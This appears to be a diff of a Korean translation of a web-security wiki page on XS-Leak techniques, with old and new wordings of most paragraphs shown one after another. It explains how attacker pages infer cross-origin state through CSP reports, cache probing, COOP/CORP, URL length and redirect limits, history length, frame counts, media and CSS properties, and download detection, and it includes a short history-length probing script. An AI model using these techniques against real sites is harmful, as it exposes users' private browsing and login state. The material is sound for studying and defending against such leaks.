XS-Leak는 CSP를 사용하여 교차 출처 사이트가 다른 출처로 리디렉션되었는지 감지할 수 있습니다. 이 유출은 리디렉션을 감지할 수 있지만, 리디렉션 대상의 도메인도 유출됩니다. 이 공격의 기본 아이디어는 **공격자 사이트에서 대상 도메인을 허용하는 것**입니다. 대상 도메인에 요청이 발행되면, **교차 출처 도메인으로 리디렉션**됩니다. **CSP는** 이에 대한 접근을 차단하고 **유출 기법으로 사용되는 위반 보고서를 생성합니다**. 브라우저에 따라 **이 보고서는 리디렉션의 대상 위치를 유출할 수 있습니다**.\
현대 브라우저는 리디렉션된 URL을 표시하지 않지만, 여전히 교차 출처 리디렉션이 발생했음을 감지할 수 있습니다.
XS-Leak는 CSP를 사용하여 교차 출처 사이트가 다른 출처로 리디렉션되었는지 감지할 수 있습니다. 이 유출은 리디렉션을 감지할 수 있을 뿐만 아니라 리디렉션 대상의 도메인도 유출됩니다. 이 공격의 기본 아이디어는 **공격자 사이트에서 대상 도메인을 허용하는 것**입니다. 대상 도메인에 요청이 발행되면, **교차 출처 도메인으로 리디렉션**됩니다. **CSP는** 이에 대한 접근을 차단하고 **유출 기법으로 사용되는 위반 보고서를 생성합니다**. 브라우저에 따라 **이 보고서는 리디렉션의 대상 위치를 유출할 수 있습니다**.\
최신 브라우저는 리디렉션된 URL을 표시하지 않지만, 여전히 교차 출처 리디렉션이 발생했음을 감지할 수 있습니다.
### 캐시
@ -513,24 +513,24 @@ XS-Leak는 CSP를 사용하여 교차 출처 사이트가 다른 출처로 리
브라우저는 모든 웹사이트에 대해 하나의 공유 캐시를 사용할 수 있습니다. 출처에 관계없이 특정 파일이 **요청되었는지** 추론할 수 있습니다.
페이지가 사용자가 로그인한 경우에만 이미지를 로드하는 경우, **리소스를 무효화**하여 **더 이상 캐시되지 않도록** 하고, 해당 리소스를 로드할 수 있는 **요청을 수행**하고 **잘못된 요청으로 리소스를 로드**하려고 시도할 수 있습니다(예: 너무 긴 referer 헤더를 사용). 리소스 로드가 **오류를 유발하지 않았다면**, 이는 **캐시되었기 때문**입니다.
페이지가 사용자가 로그인했을 때만 이미지를 로드하는 경우, **리소스를 무효화**하여 **요청을 수행**하고 **잘못된 요청**(예: 너무 긴 referer 헤더 사용)으로 리소스를 로드하려고 시도할 수 있습니다. 리소스 로드가 **오류를 유발하지 않았다면**, 이는 **캐시되었기 때문**입니다.
### CSP 지시문
- **포함 방법**: 프레임
- **감지 가능한 차이**: 헤더
- **자세한 정보**: [https://bugs.chromium.org/p/chromium/issues/detail?id=1105875](https://bugs.chromium.org/p/chromium/issues/detail?id=1105875)
- **요약:** CSP 헤더 지시문은 CSP iframe 속성을 사용하여 조사할 수 있으며, 정책 세부정보를 드러냅니다.
- **요약:** CSP 헤더 지시문은 CSP iframe 속성을 사용하여 탐지할 수 있으며, 정책 세부정보를 드러냅니다.
- **코드 예제**: [https://xsinator.com/testing.html#CSP%20Directive%20Leak](https://xsinator.com/testing.html#CSP%20Directive%20Leak)
Google Chrome(GC)의 새로운 기능은 웹 페이지가 iframe 요소에 속성을 설정하여 **콘텐츠 보안 정책(CSP)**를 제안할 수 있게 해주며, 정책 지시문은 HTTP 요청과 함께 전송됩니다. 일반적으로, 포함된 콘텐츠는 **HTTP 헤더를 통해 이를 승인해야 하며**, 그렇지 않으면 **오류 페이지가 표시됩니다**. 그러나 iframe이 이미 CSP에 의해 관리되고 새로 제안된 정책이 더 제한적이지 않으면 페이지는 정상적으로 로드됩니다. 이 메커니즘은 공격자가 오류 페이지를 식별하여 교차 출처 페이지의 **특정 CSP 지시문**을 감지할 수 있는 경로를 열어줍니다. 이 취약점은 수정된 것으로 표시되었지만, 우리의 발견은 오류 페이지를 감지할 수 있는 **새로운 유출 기법**을 드러내며, 근본적인 문제가 완전히 해결되지 않았음을 시사합니다.
Google Chrome(GC)의 새로운 기능은 웹 페이지가 iframe 요소에 속성을 설정하여 **콘텐츠 보안 정책(CSP)**를 제안할 수 있게 해주며, 정책 지시문은 HTTP 요청과 함께 전송됩니다. 일반적으로 포함된 콘텐츠는 **HTTP 헤더를 통해 이를 승인해야 하며**, 그렇지 않으면 **오류 페이지가 표시됩니다**. 그러나 iframe이 이미 CSP에 의해 관리되고 새로 제안된 정책이 더 제한적이지 않으면 페이지는 정상적으로 로드됩니다. 이 메커니즘은 공격자가 오류 페이지를 식별하여 교차 출처 페이지의 **특정 CSP 지시문**을 감지할 수 있는 경로를 열어줍니다. 이 취약점은 수정된 것으로 표시되었지만, 우리의 발견은 오류 페이지를 감지할 수 있는 **새로운 유출 기법**을 드러내며, 근본적인 문제가 완전히 해결되지 않았음을 시사합니다.
### **CORP**
- **포함 방법**: Fetch API
- **감지 가능한 차이**: 헤더
- **자세한 정보**: [**https://xsleaks.dev/docs/attacks/browser-features/corp/**](https://xsleaks.dev/docs/attacks/browser-features/corp/)
- **요약:** Cross-Origin Resource Policy(CORP)로 보호된 리소스는 허용되지 않는 출처에서 가져올 때 오류를 발생시킵니다.
- **요약:** 교차 출처 리소스 정책(CORP)으로 보호된 리소스는 허용되지 않는 출처에서 가져올 때 오류를 발생시킵니다.
- **코드 예제**: [https://xsinator.com/testing.html#CORP%20Leak](https://xsinator.com/testing.html#CORP%20Leak)
CORP 헤더는 상대적으로 새로운 웹 플랫폼 보안 기능으로, 설정되면 **주어진 리소스에 대한 no-cors 교차 출처 요청을 차단합니다**. 헤더의 존재는 감지할 수 있으며, CORP로 보호된 리소스는 **가져올 때 오류를 발생시킵니다**.
@ -550,11 +550,11 @@ CORP 헤더는 상대적으로 새로운 웹 플랫폼 보안 기능으로, 설
- **포함 방법**: Fetch API
- **감지 가능한 차이**: 헤더
- **자세한 정보**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
- **요약**: Origin 헤더가 `Access-Control-Allow-Origin` 헤더에 반영되면 리소스가 이미 캐시에 있는지 확인할 수 있습니다.
- **요약:** Origin 헤더가 `Access-Control-Allow-Origin` 헤더에 반영되면 리소스가 이미 캐시에 있는지 확인할 수 있습니다.
- **코드 예제**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
**Origin 헤더**가 `Access-Control-Allow-Origin` 헤더에 **반영**되는 경우, 공격자는 이 동작을 악용하여 **CORS** 모드에서 **리소스를 가져오려고 시도**할 수 있습니다. **오류**가 **발생하지 않으면**, 이는 **웹에서 올바르게 검색되었음을 의미**하며, 오류가 **발생하면**, 이는 **캐시에서 접근되었기 때문**입니다(오류는 캐시가 원래 도메인을 허용하는 CORS 헤더가 있는 응답을 저장하기 때문에 발생합니다).\
Origin이 반영되지 않고 와일드카드가 사용되는 경우(`Access-Control-Allow-Origin: *`), 이는 작동하지 않습니다.
**Origin 헤더**가 `Access-Control-Allow-Origin` 헤더에 **반영**되는 경우, 공격자는 이 동작을 악용하여 **CORS** 모드에서 **리소스를 가져오려고 시도**할 수 있습니다. **오류**가 **발생하지 않으면**, 이는 **웹에서 올바르게 검색되었음을 의미하며**, 오류가 **발생하면**, 이는 **캐시에서 접근되었기 때문**입니다(오류는 캐시가 원래 도메인을 허용하는 CORS 헤더가 있는 응답을 저장하기 때문에 발생합니다).\
Origin이 반영되지 않고 와일드카드(`Access-Control-Allow-Origin: *`)가 사용되면 이 방법은 작동하지 않습니다.
## 읽을 수 있는 속성 기술
@ -573,22 +573,22 @@ Origin이 반영되지 않고 와일드카드가 사용되는 경우(`Access-Con
- **포함 방법**: 팝업
- **감지 가능한 차이**: 헤더
- **자세한 정보**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.4), [https://xsleaks.dev/docs/attacks/window-references/](https://xsleaks.dev/docs/attacks/window-references/)
- **요약:** Cross-Origin Opener Policy(COOP)로 보호된 페이지는 교차 출처 상호작용으로부터의 접근을 차단합니다.
- **요약:** 교차 출처 오프너 정책(COOP)으로 보호된 페이지는 교차 출처 상호작용으로부터의 접근을 차단합니다.
- **코드 예제**: [https://xsinator.com/testing.html#COOP%20Leak](https://xsinator.com/testing.html#COOP%20Leak)
공격자는 교차 출처 HTTP 응답에서 Cross-Origin Opener Policy(COOP) 헤더의 존재를 추론할 수 있습니다. COOP는 웹 애플리케이션이 외부 사이트가 임의의 창 참조를 얻지 못하도록 방지하는 데 사용됩니다. 이 헤더의 가시성은 **`contentWindow` 참조에 접근하려고 시도함으로써 감지할 수 있습니다**. COOP가 조건부로 적용되는 경우, **`opener` 속성**은 결정적인 지표가 됩니다: COOP가 활성화되면 **정의되지 않으며**, 비활성화되면 **정의됩니다**.
공격자는 교차 출처 HTTP 응답에서 교차 출처 오프너 정책(COOP) 헤더의 존재를 추론할 수 있습니다. COOP는 웹 애플리케이션이 외부 사이트가 임의의 창 참조를 얻지 못하도록 방지하는 데 사용됩니다. 이 헤더의 가시성은 **`contentWindow` 참조에 접근하려고 시도함으로써** 감지할 수 있습니다. COOP가 조건부로 적용되는 경우, **`opener` 속성**은 결정적인 지표가 됩니다: COOP가 활성화되면 **정의되지 않으며**, 그렇지 않으면 **정의됩니다**.
### URL 최대 길이 - 서버 측
- **포함 방법**: Fetch API, HTML 요소
- **감지 가능한 차이**: 상태 코드 / 콘텐츠
- **자세한 정보**: [https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects](https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects)
- **요약:** 리디렉션 응답 길이로 인해 응답의 차이를 감지할 수 있습니다. 너무 길면 서버가 오류로 응답하고 경고가 생성됩니다.
- **요약:** 리디렉션 응답 길이로 인해 응답의 차이를 감지할 수 있습니다. 길이가 너무 커서 서버가 오류로 재생성하고 경고가 생성됩니다.
- **코드 예제**: [https://xsinator.com/testing.html#URL%20Max%20Length%20Leak](https://xsinator.com/testing.html#URL%20Max%20Length%20Leak)
서버 측 리디렉션이 **리디렉션 내에서 사용자 입력을 사용하고** **추가 데이터**를 포함하는 경우, 이 동작을 감지할 수 있습니다. 일반적으로 **서버**는 **요청 길이 제한**이 있습니다. **사용자 데이터**가 **길이 - 1**인 경우, **리디렉션**이 **해당 데이터**를 사용하고 **추가**하는 경우, **오류가 발생하여 오류 이벤트를 통해 감지할 수 있습니다**.
사용자에게 쿠키를 설정할 수 있는 경우, **충분한 쿠키를 설정하여** 이 공격을 수행할 수도 있습니다([**쿠키 폭탄**](../hacking-with-cookies/cookie-bomb.md)). 이 경우, **정상 응답의 크기 증가**로 인해 **오류**가 발생합니다. 이 요청을 동일한 사이트에서 트리거하면 `<script>`가 자동으로 쿠키를 전송하므로 **오류를 확인할 수 있습니다**.\
사용자에게 쿠키를 설정할 수 있는 경우, **충분한 쿠키를 설정하여** 이 공격을 수행할 수 있습니다 ([**쿠키 폭탄**](../hacking-with-cookies/cookie-bomb.md)) 그래서 **정상 응답의 크기 증가**로 **오류**가 발생합니다. 이 경우, 동일한 사이트에서 이 요청을 트리거하면 `<script>`가 자동으로 쿠키를 전송하므로 (오류를 확인할 수 있습니다).\
**쿠키 폭탄 + XS-Search**의 예는 이 문서의 의도된 솔루션에서 찾을 수 있습니다: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)
`SameSite=None` 또는 동일한 컨텍스트에 있어야 이 유형의 공격이 일반적으로 필요합니다.
@ -598,18 +598,18 @@ Origin이 반영되지 않고 와일드카드가 사용되는 경우(`Access-Con
- **포함 방법**: 팝업
- **감지 가능한 차이**: 상태 코드 / 콘텐츠
- **자세한 정보**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
- **요약:** 리디렉션 응답 길이로 인해 요청의 차이를 감지할 수 있습니다. 차이를 감지할 수 있을 만큼 길 수 있습니다.
- **요약:** 리디렉션 응답 길이로 인해 응답의 차이를 감지할 수 있습니다. 요청이 너무 커서 차이를 감지할 수 있습니다.
- **코드 예제**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
[Chromium 문서](https://chromium.googlesource.com/chromium/src/+/main/docs/security/url_display_guidelines/url_display_guidelines.md#URL-Length)에 따르면, Chrome의 최대 URL 길이는 2MB입니다.
> 일반적으로, _웹 플랫폼_은 URL 길이에 대한 제한이 없습니다(2^31이 일반적인 제한이지만). _Chrome_은 실용적인 이유로 URL을 최대 **2MB**로 제한하여 프로세스 간 통신에서 서비스 거부 문제를 피합니다.
> 일반적으로, _웹 플랫폼_은 URL 길이에 대한 제한이 없습니다(2^31이 일반적인 제한이지만). _Chrome_은 실용적인 이유로 URL을 최대 **2MB**로 제한하며, 프로세스 간 통신에서 서비스 거부 문제를 피하기 위해서입니다.
따라서 **리디렉션 URL의 응답이 한 경우보다 더 크면**, **2MB보다 큰 URL로 리디렉션**하여 **길이 제한**에 도달할 수 있습니다. 이 경우, Chrome은 **`about:blank#blocked`** 페이지를 표시합니다.
따라서 **리디렉션 URL이 한 경우에 더 큰 응답을 반환하면**, **2MB보다 큰 URL로 리디렉션**하여 **길이 제한**에 도달할 수 있습니다. 이 경우, Chrome은 **`about:blank#blocked`** 페이지를 표시합니다.
**눈에 띄는 차이점**은 **리디렉션**이 **완료되었을 경우**, `window.origin`이 **오류를 발생시키는 것**입니다. 교차 출처는 해당 정보를 접근할 수 없습니다. 그러나 **제한**이 **초과**되고 로드된 페이지가 **`about:blank#blocked`**인 경우, 창의 **`origin`**은 **부모**의 것이며, 이는 **접근 가능한 정보입니다.**
**눈에 띄는 차이점**은 **리디렉션**이 **완료되었을 경우**, `window.origin`이 **오류를 발생시키는** 것입니다. 교차 출처는 해당 정보를 접근할 수 없습니다. 그러나 **제한**에 도달하고 로드된 페이지가 **`about:blank#blocked`**인 경우, 창의 **`origin`**은 **부모**의 것이며, 이는 **접근 가능한 정보**입니다.
**2MB**에 도달하는 데 필요한 모든 추가 정보는 **초기 URL의 해시**를 통해 추가할 수 있으므로 **리디렉션에 사용됩니다**.
**2MB**에 도달하기 위해 필요한 모든 추가 정보는 초기 URL에 **해시**를 추가하여 **리디렉션에 사용될 수 있습니다**.
{{#ref}}
url-max-length-client-side.md
@ -620,30 +620,30 @@ url-max-length-client-side.md
- **포함 방법**: Fetch API, 프레임
- **감지 가능한 차이**: 상태 코드
- **자세한 정보**: [https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3_0_76](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3_0_76)
- **요약:** 브라우저의 리디렉션 한계를 사용하여 URL 리디렉션의 발생 여부를 확인합니다.
- **요약:** 브라우저의 리디렉션 제한을 사용하여 URL 리디렉션의 발생 여부를 확인합니다.
- **코드 예제**: [https://xsinator.com/testing.html#Max%20Redirect%20Leak](https://xsinator.com/testing.html#Max%20Redirect%20Leak)
브라우저의 **최대** 리디렉션 수가 **20**인 경우, 공격자는 **19개의 리디렉션**으로 자신의 페이지를 로드하려고 시도하고 마지막으로 **피해자를 테스트된 페이지로 보냅니다**. **오류**가 발생하면, 페이지가 피해자를 **리디렉션하려고 시도한 것입니다**.
브라우저가 따르는 **최대** 리디렉션 수가 **20**인 경우, 공격자는 **19개의 리디렉션**으로 자신의 페이지를 로드하려고 시도하고 마지막에 **피해자를 테스트된 페이지로 보냅니다**. **오류**가 발생하면, 페이지가 피해자를 **리디렉션하려고 시도한 것입니다**.
### 히스토리 길이
- **포함 방법**: 프레임, 팝업
- **감지 가능한 차이**: 리디렉션
- **자세한 정보**: [https://xsleaks.dev/docs/attacks/navigations/](https://xsleaks.dev/docs/attacks/navigations/)
- **요약:** JavaScript 코드는 브라우저 히스토리를 조작할 수 있으며, 길이 속성을 통해 접근할 수 있습니다.
- **요약:** JavaScript 코드는 브라우저 히스토리를 조작할 수 있으며, 길이 속성으로 접근할 수 있습니다.
- **코드 예제**: [https://xsinator.com/testing.html#History%20Length%20Leak](https://xsinator.com/testing.html#History%20Length%20Leak)
**History API**는 JavaScript 코드가 브라우저 히스토리를 조작할 수 있게 해주며, 이는 **사용자가 방문한 페이지를 저장합니다**. 공격자는 길이 속성을 포함 방법으로 사용할 수 있습니다: JavaScript 및 HTML 탐색을 감지하기 위해.\
**`history.length`**를 확인하고 사용자가 **페이지로 탐색**하게 한 후, **동일 출처로 다시 변경**하고 **`history.length`**의 새 값을 확인합니다.
**History API**는 JavaScript 코드가 브라우저 히스토리를 조작할 수 있게 해주며, 이는 **사용자가 방문한 페이지를 저장합니다**. 공격자는 길이 속성을 포함 방법으로 사용할 수 있습니다: JavaScript 및 HTML 탐지를 감지하기 위해.\
**`history.length`**를 확인하고 사용자가 **페이지로 탐색**하게 한 후, **다시** 동일 출처로 **변경**하고 **`history.length`**의 새 값을 확인합니다.
### 동일 URL로 히스토리 길이
### 동일한 URL로 히스토리 길이
- **포함 방법**: 프레임, 팝업
- **감지 가능한 차이**: URL이 추측한 것과 동일한 경우
- **요약:** 히스토리 길이를 악용하여 프레임/팝업의 위치가 특정 URL에 있는지 추측할 수 있습니다.
- **코드 예제**: 아래
공격자는 JavaScript 코드를 사용하여 **프레임/팝업 위치를 추측한 URL로 조작하고** **즉시** **`about:blank`**로 변경할 수 있습니다. 히스토리 길이가 증가하면 URL이 올바르며 **URL이 동일할 경우 다시 로드되지 않기 때문에 증가할 시간이 있음을 의미**합니다. 증가하지 않으면 **추측한 URL을 로드하려고 시도했지만**, **즉시 후에** **`about:blank`**를 로드했기 때문에 **히스토리 길이가 증가하지 않았습니다**.
공격자는 JavaScript 코드를 사용하여 **프레임/팝업 위치를 추측한 URL로 조작하고** **즉시** **`about:blank`**로 변경할 수 있습니다. 히스토리 길이가 증가하면 URL이 올바르며 **URL이 동일할 경우 다시 로드되지 않기 때문에 증가할 시간이 있음을 의미합니다**. 증가하지 않았다면 **추측한 URL을 로드하려고 시도했지만**, **즉시 이후에** **`about:blank`**를 로드했기 때문에 **히스토리 길이가 증가하지 않았습니다**.
```javascript
async function debug(win, url) {
win.location = url + "#aaa"
@ -672,7 +672,7 @@ console.log(await debug(win, "https://example.com/?a=b"))
웹에서 `iframe` 또는 `window.open`을 통해 열린 **프레임의 수**를 세는 것은 **사용자의 상태를 식별하는 데 도움이 될 수 있습니다**.\
또한, 페이지에 항상 동일한 수의 프레임이 있는 경우, 프레임 수를 **지속적으로** 확인하면 정보가 유출될 수 있는 **패턴**을 식별하는 데 도움이 될 수 있습니다.
이 기술의 예로, 크롬에서는 **PDF**가 **프레임 카운팅**으로 **감지**될 수 있습니다. 내부적으로 `embed`가 사용되기 때문입니다. `zoom`, `view`, `page`, `toolbar`와 같은 콘텐츠에 대한 일부 제어를 허용하는 [Open URL Parameters](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113)가 있어 이 기술이 흥미로울 수 있습니다.
이 기술의 예로, 크롬에서는 **PDF**가 **프레임 카운팅**으로 **감지될 수 있습니다**. 내부적으로 `embed`가 사용되기 때문입니다. `zoom`, `view`, `page`, `toolbar`와 같은 콘텐츠에 대한 일부 제어를 허용하는 [Open URL Parameters](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113)가 있어 이 기술이 흥미로울 수 있습니다.
### HTMLElements
@ -682,14 +682,14 @@ console.log(await debug(win, "https://example.com/?a=b"))
- **Summary:** 2개의 가능한 상태를 구별하기 위해 유출된 값을 읽습니다.
- **Code Example**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/), [https://xsinator.com/testing.html#Media%20Dimensions%20Leak](https://xsinator.com/testing.html#Media%20Dimensions%20Leak), [https://xsinator.com/testing.html#Media%20Duration%20Leak](https://xsinator.com/testing.html#Media%20Duration%20Leak)
HTML 요소를 통한 정보 유출은 웹 보안에서 우려되는 문제로, 특히 사용자 정보에 따라 동적 미디어 파일이 생성되거나 워터마크가 추가되어 미디어 크기가 변경될 때 문제가 됩니다. 공격자는 특정 HTML 요소가 노출하는 정보를 분석하여 가능한 상태를 구별할 수 있습니다.
HTML 요소를 통한 정보 유출은 웹 보안에서 우려되는 문제로, 특히 사용자 정보에 따라 동적 미디어 파일이 생성되거나 워터마크가 추가되어 미디어 크기가 변경될 때 더욱 그렇습니다. 이는 공격자가 특정 HTML 요소에 의해 노출된 정보를 분석하여 가능한 상태를 구별하는 데 악용될 수 있습니다.
### Information Exposed by HTML Elements
- **HTMLMediaElement**: 이 요소는 미디어의 `duration` 및 `buffered` 시간을 노출하며, API를 통해 접근할 수 있습니다. [HTMLMediaElement에 대해 더 읽기](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)
- **HTMLVideoElement**: `videoHeight` 및 `videoWidth`를 노출합니다. 일부 브라우저에서는 `webkitVideoDecodedByteCount`, `webkitAudioDecodedByteCount`, `webkitDecodedFrameCount`와 같은 추가 속성이 제공되어 미디어 콘텐츠에 대한 더 깊이 있는 정보를 제공합니다. [HTMLVideoElement에 대해 더 읽기](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement)
- **getVideoPlaybackQuality()**: 이 함수는 비디오 재생 품질에 대한 세부 정보를 제공하며, `totalVideoFrames`를 포함하여 처리된 비디오 데이터의 양을 나타낼 수 있습니다. [getVideoPlaybackQuality()에 대해 더 읽기](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality)
- **HTMLImageElement**: 이 요소는 이미지의 `height` 및 `width`를 유출합니다. 그러나 이미지가 유효하지 않은 경우 이러한 속성은 0을 반환하며, `image.decode()` 함수는 거부되어 이미지를 제대로 로드하지 못했음을 나타냅니다. [HTMLImageElement에 대해 더 읽기](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)
- **HTMLMediaElement**: 이 요소는 미디어의 `duration` 및 `buffered` 시간을 노출하며, API를 통해 접근할 수 있습니다. [HTMLMediaElement에 대해 더 알아보기](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)
- **HTMLVideoElement**: `videoHeight` 및 `videoWidth`를 노출합니다. 일부 브라우저에서는 `webkitVideoDecodedByteCount`, `webkitAudioDecodedByteCount`, `webkitDecodedFrameCount`와 같은 추가 속성이 제공되어 미디어 콘텐츠에 대한 더 깊이 있는 정보를 제공합니다. [HTMLVideoElement에 대해 더 알아보기](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement)
- **getVideoPlaybackQuality()**: 이 함수는 비디오 재생 품질에 대한 세부 정보를 제공하며, `totalVideoFrames`를 포함하여 처리된 비디오 데이터의 양을 나타낼 수 있습니다. [getVideoPlaybackQuality()에 대해 더 알아보기](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality)
- **HTMLImageElement**: 이 요소는 이미지의 `height` 및 `width`를 유출합니다. 그러나 이미지가 유효하지 않은 경우 이러한 속성은 0을 반환하며, `image.decode()` 함수는 거부되어 이미지를 제대로 로드하지 못했음을 나타냅니다. [HTMLImageElement에 대해 더 알아보기](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)
### CSS Property
@ -699,8 +699,8 @@ HTML 요소를 통한 정보 유출은 웹 보안에서 우려되는 문제로,
- **Summary:** 사용자의 상태 또는 상태와 관련된 웹사이트 스타일의 변화를 식별합니다.
- **Code Example**: [https://xsinator.com/testing.html#CSS%20Property%20Leak](https://xsinator.com/testing.html#CSS%20Property%20Leak)
웹 애플리케이션은 사용자의 상태에 따라 **웹사이트 스타일을 변경할 수 있습니다**. 공격자 페이지에 **HTML 링크 요소**를 사용하여 교차 출처 CSS 파일을 삽입할 수 있으며, **규칙**은 공격자 페이지에 **적용됩니다**. 페이지가 이러한 규칙을 동적으로 변경하면 공격자는 사용자 상태에 따라 이러한 **차이**를 **감지**할 수 있습니다.\
유출 기술로서 공격자는 `window.getComputedStyle` 메서드를 사용하여 특정 HTML 요소의 **CSS** 속성을 **읽을 수 있습니다**. 결과적으로 공격자는 영향을 받는 요소와 속성 이름이 알려져 있다면 임의의 CSS 속성을 읽을 수 있습니다.
웹 애플리케이션은 사용자의 상태에 따라 **웹사이트 스타일을 변경할 수 있습니다**. 공격자 페이지에 **HTML 링크 요소**를 사용하여 교차 출처 CSS 파일을 삽입할 수 있으며, **규칙**이 공격자 페이지에 **적용됩니다**. 페이지가 이러한 규칙을 동적으로 변경하는 경우, 공격자는 사용자 상태에 따라 이러한 **차이**를 **감지**할 수 있습니다.\
유출 기술로서, 공격자는 `window.getComputedStyle` 메서드를 사용하여 특정 HTML 요소의 **CSS** 속성을 **읽을 수 있습니다**. 결과적으로, 공격자는 영향을 받는 요소와 속성 이름이 알려져 있다면 임의의 CSS 속성을 읽을 수 있습니다.
### CSS History
@ -713,13 +713,13 @@ HTML 요소를 통한 정보 유출은 웹 보안에서 우려되는 문제로,
> [!NOTE]
> [**이것**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/)에 따르면, 이는 헤드리스 크롬에서 작동하지 않습니다.
CSS `:visited` 선택자는 사용자가 이전에 방문한 URL을 다르게 스타일링하는 데 사용됩니다. 과거에는 `getComputedStyle()` 메서드를 사용하여 이러한 스타일 차이를 식별할 수 있었습니다. 그러나 최신 브라우저는 이 메서드가 링크의 상태를 노출하지 않도록 보안 조치를 구현했습니다. 이러한 조치에는 링크가 방문된 것처럼 항상 계산된 스타일을 반환하고 `:visited` 선택자로 적용할 수 있는 스타일을 제한하는 것이 포함됩니다.
CSS `:visited` 선택자는 사용자가 이전에 방문한 경우 URL을 다르게 스타일링하는 데 사용됩니다. 과거에는 `getComputedStyle()` 메서드를 사용하여 이러한 스타일 차이를 식별할 수 있었습니다. 그러나 최신 브라우저는 이 메서드가 링크의 상태를 노출하지 않도록 보안 조치를 구현했습니다. 이러한 조치에는 링크가 방문된 것처럼 항상 계산된 스타일을 반환하고 `:visited` 선택자로 적용할 수 있는 스타일을 제한하는 것이 포함됩니다.
이러한 제한에도 불구하고 링크의 방문 상태를 간접적으로 식별할 수 있습니다. 한 가지 기술은 사용자가 CSS에 영향을 받는 영역과 상호작용하도록 유도하는 것입니다. 특히 `mix-blend-mode` 속성을 활용합니다. 이 속성은 요소와 배경을 혼합할 수 있게 하여 사용자 상호작용에 따라 방문 상태를 드러낼 수 있습니다.
또한, 링크의 렌더링 타이밍을 악용하여 사용자 상호작용 없이 감지가 가능합니다. 브라우저는 방문한 링크와 방문하지 않은 링크를 다르게 렌더링할 수 있으므로, 이는 렌더링에서 측정 가능한 시간 차이를 초래할 수 있습니다. 타이밍 분석을 통해 방문 상태를 감지할 수 있도록 여러 링크를 사용하여 타이밍 차이를 증폭시키는 기술이 크로미움 버그 보고서에서 언급되었습니다.
또한, 링크의 렌더링 타이밍을 악용하여 사용자 상호작용 없이 감지가 가능합니다. 브라우저는 방문한 링크와 방문하지 않은 링크를 다르게 렌더링할 수 있으므로, 이는 렌더링에서 측정 가능한 시간 차이를 초래할 수 있습니다. 여러 링크를 사용하여 타이밍 차이를 증폭시키는 이 기술을 보여주는 개념 증명(PoC)이 크롬 버그 보고서에 언급되었습니다.
이러한 속성과 방법에 대한 자세한 내용은 문서 페이지를 방문하십시오:
이 속성과 방법에 대한 자세한 내용은 문서 페이지를 방문하십시오:
- `:visited`: [MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/CSS/:visited)
- `getComputedStyle()`: [MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/API/Window/getComputedStyle)
@ -743,14 +743,14 @@ CSS `:visited` 선택자는 사용자가 이전에 방문한 URL을 다르게
- **Summary:** 공격자는 iframe을 활용하여 파일 다운로드를 감지할 수 있으며, iframe의 지속적인 접근 가능성은 파일 다운로드가 성공적으로 이루어졌음을 나타냅니다.
- **Code Example**: [https://xsleaks.dev/docs/attacks/navigations/#download-bar](https://xsleaks.dev/docs/attacks/navigations/#download-bar)
`Content-Disposition` 헤더, 특히 `Content-Disposition: attachment`는 브라우저에 콘텐츠를 인라인으로 표시하는 대신 다운로드하도록 지시합니다. 이 동작은 사용자가 파일 다운로드를 유발하는 페이지에 접근할 수 있는지 감지하는 데 악용될 수 있습니다. 크로미움 기반 브라우저에서는 이 다운로드 동작을 감지하는 몇 가지 기술이 있습니다:
`Content-Disposition` 헤더, 특히 `Content-Disposition: attachment`는 브라우저에 콘텐츠를 인라인으로 표시하는 대신 다운로드하도록 지시합니다. 이 동작은 사용자가 파일 다운로드를 유발하는 페이지에 접근할 수 있는지를 감지하는 데 악용될 수 있습니다. 크로미움 기반 브라우저에서는 이 다운로드 동작을 감지하기 위한 몇 가지 기술이 있습니다:
1. **다운로드 바 모니터링**:
- 크로미움 기반 브라우저에서 파일이 다운로드되면 브라우저 창 하단에 다운로드 바가 나타납니다.
- 창 높이의 변화를 모니터링하여 다운로드 바의 나타남을 추론할 수 있습니다.
2. **iframe을 통한 다운로드 탐색**:
- 페이지가 `Content-Disposition: attachment` 헤더를 사용하여 파일 다운로드를 유발할 때 탐색 이벤트를 발생시키지 않습니다.
- 콘텐츠를 iframe에 로드하고 탐색 이벤트를 모니터링하여 콘텐츠 배치가 파일 다운로드를 유발하는지(탐색 없음) 확인할 수 있습니다.
